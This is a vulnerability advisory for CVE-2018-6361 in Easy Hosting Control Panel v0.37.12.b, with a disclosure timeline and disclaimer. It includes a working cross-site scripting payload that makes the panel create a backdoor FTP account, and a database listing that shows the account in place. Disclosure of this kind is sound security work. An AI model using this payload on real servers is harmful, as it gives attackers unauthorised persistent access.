[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/EHCP-v0.37.12.b-XSS-FTP-BACKDOOR-ACCOUNT.txt [+] ISR: Apparition Security ***Greetz: indoushka|Eduardo|Dirty0tis*** Vendor: ============= www.ehcp.net Product: =========== Easy Hosting Control Panel v0.37.12.b Ehcp is a Hosting Control Panel. Ehcp is a tool in a server to facilate the process of hosting domains, emails, adding domains, ftp users and so on. Vulnerability Type: =================== Cross Site Scripting CVE Reference: ============== CVE-2018-6361 Security Issue: ================ EHCP does not properly sanitize input allowing remote attackers to add backdoor FTP accounts to the system. e.g. http://127.0.0.1/ehcp/index.php?op=<script>$.ajax({url:'http://127.0.0.1/ehcp/index.php?op=addftpuser%26id=6',data:{ftpusername:"attacker",password:"hatred1",quota:"100",upload:"1000",download:1000,op:"addFtpUser",_insert:1},datatype:"json",contentType:"application/json; charset=utf-8",type:'POST',success:function(data){alert(status);}});</script> result. MariaDB [ehcp]> select * from ftpaccounts; +----+------+-------------+-------------------------------------------+------------+----------+---------------+--------------+--------+---------+----------+ | id | host | ftpusername | password | domainname | reseller | panelusername | homedir | status | type | datetime | +----+------+-------------+-------------------------------------------+------------+----------+---------------+--------------+--------+---------+----------+ | 6 | NULL | attacker | *EE3F0EB3C99D91BE0D0002E6DACE6CD28913009E | | admin | admin | | active | | NULL | +----+------+-------------+-------------------------------------------+------------+----------+---------------+--------------+--------+---------+----------+ Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification: January 26, 2018 Vendor Acknowledges issues: January 27, 2018 Mitre Assigns CVE : January 29, 2018 Informed vendor of CVE : January 31, 2018 Vendor "Will be fixed soon, I think." : Febuary 2, 2018 Request update : Febuary 8, 2018 Vendor : "no progress yet. Will inform you any progress." : Febuary 10, 2018 Inform vendor of 90 day disclose policy : Febuary 10, 2018 Request update : February 21, 2018 Vendor "Not Yet." : Febuary 22, 2018 Request update : March 3, 2018 Vendor "I plan to start check/fixes with Ubuntu 18.04." : March 3, 2018 Request ETA : March 4, 2018 Vendor "Will start working when Ubuntu 18.04 released" : March 4, 2018 Request update : March 25, 2018 Vendor "password storage already fixed, others waiting for next release." : March 26, 2018 Request update : April 13, 2018 Vendor "same situation" : April 15, 2018 Remind vendor of 90 day disclose policy : April 16, 2018 No reply Request update : April 22, 2018 No reply Remind vendor again : April 27, 2018 No reply May 9, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx